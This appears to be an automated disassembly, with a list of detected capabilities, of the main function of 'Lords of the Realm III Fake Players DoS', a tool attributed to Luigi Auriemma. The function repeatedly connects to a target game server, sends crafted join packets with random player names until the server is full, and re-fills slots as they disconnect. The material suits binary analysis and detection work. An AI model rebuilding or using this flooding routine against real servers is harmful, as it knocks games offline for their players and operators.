Function at 0x402550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Initialize winsock library
Send data
Send data on socket
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
mov eax, 0x4208
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
call fcn.004023e8
sub esp, eax
mov esi, dword [ecx]
mov edi, dword [ecx + 4]
call fcn.004021e0
mov eax, dword [0x405008]
mov dword [ebp - 0x1c], eax
xor eax, eax
lea eax, [ebp - 0x41f4]
mov dword [ebp - 0x2d], 0x33323130
mov dword [ebp - 0x29], 0x37363534
mov dword [ebp - 0x25], 0x62613938
mov dword [ebp - 0x21], 0x66656463
mov byte [ebp - 0x1d], 0
mov dword [esp + 4], eax
mov dword [esp], 1
call sub.WS2_32.dll_WSAStartup
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [ebx + 0x20]
mov dword [ebp - 0x4208], eax
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.msvcrt.dll_setbuf
mov eax, dword [ebp - 0x4208]
mov dword [esp + 8], 0x70
mov dword [esp + 4], 1
mov dword [esp], str._nLords_of_the_Realm_III_Fake_Players_DoS_0.1_nby_Luigi_Auriemma_ne_mail:_aluigi_autistici.org_nweb:____aluigi.org_n_n
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
cmp esi, 1
jle 0x4029f8
cmp esi, 2
mov edx, 0x74cd
jne 0x4029e6
mov eax, dword [edi + 4]
add ebx, 0x20
mov dword [ebp - 0x4208], edx
mov dword [esp], eax
call fcn.00401b00
mov edx, dword [ebp - 0x4208]
movzx esi, dx
mov dword [esp], esi
mov dword [ebp - 0x403c], eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x4040], 2
mov word [ebp - 0x403e], ax
mov eax, dword [ebp - 0x403c]
sub esp, 4
mov dword [esp], eax
call sub.WS2_32.dll_inet_ntoa
sub esp, 4
mov dword [esp + 8], esi
xor esi, esi
mov dword [esp + 4], eax
mov dword [esp], str.__target____s_:__hu_n
call sub.msvcrt.dll_printf
mov dword [esp], 0
call sub.msvcrt.dll_time
cmp esi, 8
mov dword [ebp - 0x41fc], ebx
lea ebx, [ebp - 0x402d]
mov dword [ebp - 0x4204], 1
mov dword [ebp - 0x4200], eax
jg 0x40288d
lea esi, [esi]
mov eax, dword [ebp - 0x41fc]
mov dword [esp + 8], 0xb
mov dword [esp + 4], 1
mov dword [esp], str._n__Player:
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
sub esp, 0xc
test eax, eax
mov dword [ebp + esi*4 - 0x4064], eax
js 0x402968
lea edx, [ebp - 0x4040]
mov dword [esp + 8], 0x10
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
mov dword [ebp - 0x41f8], eax
js 0x402960
mov eax, dword [ebp + esi*4 - 0x4064]
mov dword [esp + 8], 0x4000
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401940
mov dword [ebp - 0x41f8], eax
mov eax, dword [ebp - 0x4204]
test eax, eax
jne 0x402970
mov eax, dword [ebp - 0x4200]
lea edi, [ebp - 0x2d]
mov byte [ebp - 0x402d], 0x79
mov dword [ebp - 0x402c], 0xffffffff
mov dword [esp + 4], 0x10
mov dword [esp + 8], eax
mov dword [esp], edi
call fcn.00401850
mov dword [esp], edi
mov dword [ebp - 0x4200], eax
call sub.msvcrt.dll_strlen
lea edx, [ebp - 0x4024]
add eax, 1
test eax, eax
mov dword [ebp - 0x4028], eax
mov dword [ebp - 0x41f8], eax
je 0x4027d0
xor edx, edx
movzx ecx, byte [edi + edx]
mov byte [ebx + edx*2 + 0xa], 0
mov byte [ebx + edx*2 + 9], cl
add edx, 1
cmp eax, edx
jne 0x4027b5
lea edx, [ebp + eax*2 - 0x4024]
lea eax, [ebp - 0x41f8]
mov byte [edx], 0x45
add edx, 1
mov dword [esp + 4], eax
mov eax, dword [ebp + esi*4 - 0x4064]
sub edx, ebx
mov dword [ebp - 0x41f8], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
test eax, eax
js 0x402968
mov eax, dword [ebp + esi*4 - 0x4064]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4000
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
test eax, eax
js 0x402968
mov eax, dword [ebp - 0x41fc]
mov dword [esp], 0x2e
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputc
mov eax, dword [ebp + esi*4 - 0x4064]
add esi, 1
mov dword [esp + 8], 0x4000
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00401940
cmp esi, 8
mov dword [ebp - 0x4204], 0
mov dword [ebp - 0x41f8], eax
jle 0x4026b0
mov eax, dword [ebp + esi*4 - 0x4064]
lea edi, [ebp - 0x4064]
sub esi, 1
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp - 0x41fc]
sub esp, 4
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xf
mov dword [esp + 4], 1
mov dword [esp], str._n__server_full_n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x41fc]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], 1
mov dword [esp], str.__check_for_disconnections:_n
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov dword [esp + 0xc], 0x4000
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.004016d0
mov eax, dword [ebp - 0x41fc]
mov dword [esp + 8], 0x2e
mov dword [esp + 4], 1
mov dword [esp], str._n__one_or_more_players_have_been_disconnected_n
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [edi + esi*4]
sub esi, 1
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
cmp esi, 0xffffffff
jne 0x402932
mov dword [esp], 0x3e8
xor esi, esi
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x4026b0
test esi, esi
jne 0x40288d
call fcn.00401310
lea esi, [esi]
mov eax, dword [ebp - 0x41fc]
mov dword [esp + 8], 0x11
mov dword [esp + 4], 1
mov dword [esp], str._n__informations:_n
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
lea eax, [ebp - 0x402c]
mov dword [esp + 4], eax
mov dword [esp], str.ServerAdmin
call fcn.00401a90
mov dword [esp], 0x40467d
mov dword [esp + 4], eax
call fcn.00401a90
mov edx, dword [eax + 0x16]
mov dword [esp + 0xc], edx
mov eax, dword [eax + 0x1e]
mov dword [esp + 4], str.Players
mov dword [esp], str.___20s:____u____u_n
sub eax, 1
mov dword [esp + 8], eax
call sub.msvcrt.dll_printf
jmp 0x40275e
mov eax, dword [edi + 8]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov edx, eax
jmp 0x402616
mov dword [esp + 8], 0x74cd
mov eax, dword [edi]
mov dword [esp], str._nUsage:__s__server___port__d___n_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], 1
call sub.msvcrt.dll_exit
nop
nop
push esi
push ebx
sub esp, 0x14
mov eax, dword [0x405008]
test eax, eax
je 0x402a34
add esp, 0x14
pop ebx
pop esi
ret
mov dword [esp + 4], 0
mov dword [esp], str._dev_urandom
call sub.msvcrt.dll__open
mov ebx, eax
cmp eax, 0xffffffff
je 0x402a76
mov dword [esp + 8], 4
mov dword [esp + 4], 0x405008
mov dword [esp], eax
call sub.msvcrt.dll__read
mov esi, eax
mov dword [esp], ebx
call sub.msvcrt.dll__close
cmp esi, 4
je 0x402a8d
mov byte [0x40500b], 0xff
mov byte [0x40500a], 0xa
mov byte [0x405008], 0
jmp 0x402a2e
cmp dword [0x405008], 0
jne 0x402a2e
jmp 0x402a76